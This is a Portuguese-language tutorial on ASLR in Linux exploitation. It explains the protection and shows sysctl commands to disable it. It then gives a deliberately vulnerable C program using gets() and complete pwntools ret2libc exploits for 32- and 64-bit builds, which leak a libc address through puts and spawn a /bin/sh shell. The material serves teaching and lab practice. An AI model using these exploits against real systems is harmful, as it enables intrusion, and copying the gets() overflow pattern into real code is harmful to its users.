ASLR
O que é ASLR (Address Space Layout Randomization)
O ASLR
é uma proteção que aleatoriza os endereços de um binário, similar ao PIE
, mas com a diferença de que os endereços aleatorizados pelo ASLR
são de partes do sistema e bibliotecas utilizadas por processos. Dessa forma é comum pensar no ASLR
como um PIE
da libc
, e isso de certa forma ajuda a entender o ASLR
, mas na verdade há uma diferença crucial entre o PIE
e ASLR
. Essa diferença consiste em o PIE
ser uma proteção de binários, ou seja, você pode compilar um programa com ou sem ele, já o ASLR
é uma proteção de kernel, então não depende de como o programa foi compilado, e sim se a arquitetura que está rodando ele tem o ASLR
ativado.
Existem 3 estados possíveis para o ASLR
em uma máquina:
0: Desabilitado.
1: Randomização conservadora (conservative randomization).
2: Randomização completa (full randomization).
E a forma de ver qual é o estado na sua máquina é por meio do comando sysctl -a --pattern 'randomize'
, e para alterar sudo sysctl -w kernel.randomize_va_space=estado
.
Demonstrando o ASLR
➜ checksec Vuln-64
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
➜ sysctl -a --pattern 'randomize'
kernel.randomize_va_space = 2
➜ ldd Vuln-64
linux-vdso.so.1 (0x00007ffc02ff9000)
libc.so.6 => /usr/lib/libc.so.6 (0x000075f32dc00000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x000075f32de30000)
➜ ldd Vuln-64
linux-vdso.so.1 (0x00007fffde3cf000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007e3ddba00000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007e3ddbe03000)
➜ ldd Vuln-64
linux-vdso.so.1 (0x00007ffd98996000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ce1d0c00000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ce1d0fb2000)
Note que o binário Vuln-64
não contém o PIE
, mas mesmo assim o endereço das libc
está modificando toda vez que o comando ldd
é executado, por conta do estado do ASLR
estar em 2.
➜ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
➜ ldd Vuln-64
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7dc6000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
➜ ldd Vuln-64
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7dc6000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
➜ ldd Vuln-64
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7dc6000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
Repare que com o ASLR
desativado, os endereços da libc
não mudam mais.
Exploit
A forma para conseguir explorar o ASLR
é similiar a do PIE
, nós precisamos vazar algum endereço na libc
e depois só precisamos subtrair o offset. Infelizmente, diferente do PIE
, é muito difícil vazar algum endereço da libc
por format string bug pois quando as funções terminam sua execução a pilha continua lá, ela só começa a ser sobrescrita, então a chance de um endereço "lixo" vazar é muito alta.
A melhor maneira de conseguir vazar algum endereço da libc
é usando as labels .plt
e .got
. Resumidamente, toda vez que você chama uma função que não está no binário, você está chamando algum ponto na .plt
, lá é verificado se o endereço está na .got
, e se não estiver é feito alguns processos para identificar o endereço dessa função e no final esse endereço é salvo na .got
. Dessa forma, nós podemos fazer uma função de impressão (usaremos a puts
por ser mais simples) para imprimir seu próprio endereço.
Código fonte
#include <stdio.h>
void vuln(void){
char buffer[20];
puts("Você consegue retornar para a system?");
gets(buffer);
}
int main(void){
vuln();
}
/*
//Tirar o comentário caso queira compilar para 64bit.
void utilidade(){
__asm__(
"pop %rdi\n"
"ret\n");
}*/
Exploit 32-bits
Como podemos ver nosso executável faz o uso da função puts
, logo ela está na .plt
, e também podemos ver que é posssível fazer um buffer overflow. Então nosso objetivo é alterar o endereço de retorno da vuln
, de forma que ela retorne para o endereço da puts
na .plt
, passando como parâmetro o endereço dela mesmo na .got
. É importante observar que precisamos que o programa continue rodando após isso, então precisamos colocar o endereço de retorno.
Como estamos compilando o programa sem o PIE
, o exploit se torna bem fácil de se realizar com a utilização do ROP. Após vazarmos o endereço da puts
, nós devemos subtrair seu offset e pronto conseguimos o endereço da libc
, e com isso podemos realizar outro buffer overflow (lembre de fazer a função puts
retornar para a main
ou vuln
) só que dessa vez nós fazemos o endereço de retorno ser a system
e passamos como parâmetro /bin/sh
.
E o exploit fica dessa forma:
from pwn import *
elf = context.binary = ELF("./Vuln-32")
libc = elf.libc
p = process()
payload = flat(
"A" * 32,
elf.plt["puts"],
elf.symbols["main"],
elf.got["puts"],
)
#gdb.attach(p)
#input("PAUSE")
p.recvline()
p.sendline(payload)
leak = p.recvline()
leak = leak[:4].strip().ljust(4, b"\x00")
leak = u32(leak)
libc.address = leak - libc.sym["puts"]
print("Puts vazado: " + hex(leak))
print("Libc: " + hex(libc.address))
print("System: " + hex(libc.sym["system"]))
payload = flat(
"B" * 32,
libc.sym["system"],
0x0,
next(libc.search(b"/bin/sh"))
)
p.recvline()
p.sendline(payload)
p.interactive()
A função u32
é utilizada para considerar o número como little-endian, e a função flat
concatena tudo dentro dela ajustando automaticamente para 32 ou 64 bits.
Exploit 64-bits
O exploit em 64-bits
funciona da mesma forma que em 32-bits
, a diferença é que em 64-bits
o uso de gadgets se torna necessário. No nosso caso nós precisamos de algum gadget que tenha um pop rdi
(não precisa ser pop
necessariamente, só precisamos de alguma coisa que nos permita colocar os parâmetros no registrador rdi
), e como nosso código fonte contém a função utilidade
, isso facilita nossa vida, pois ela força o código conter esse gadget.
Então tudo o que nós precisamos fazer é refazer o exploit acima, trocando o padding e colocando os gadgets. É importante ressaltar que como vamos retornar para a system
também precisamos de um gadget de retorno para não ocorrer problemas de stack alignment.
E o exploit fica dessa forma:
from pwn import *
elf = context.binary = ELF("./Vuln-64")
libc = elf.libc
p = process()
pop_rdi_ret = 0x401175
ret = 0x401016
payload = flat(
"A" * 40,
pop_rdi_ret,
elf.got["puts"],
elf.plt["puts"],
elf.symbols["main"]
)
p.recvline()
p.sendline(payload)
leak = p.recvline()
leak = leak[:8].strip().ljust(8, b'\x00')
leak = u64(leak)
libc.address = leak - libc.sym["puts"]
print("Puts vazado: " + hex(leak))
print("Libc: " + hex(libc.address))
payload = flat(
"A" * 40,
pop_rdi_ret,
next(libc.search(b"/bin/sh")),
ret,
libc.sym["system"]
)
p.sendline(payload)
p.interactive()
Referências
Atualizado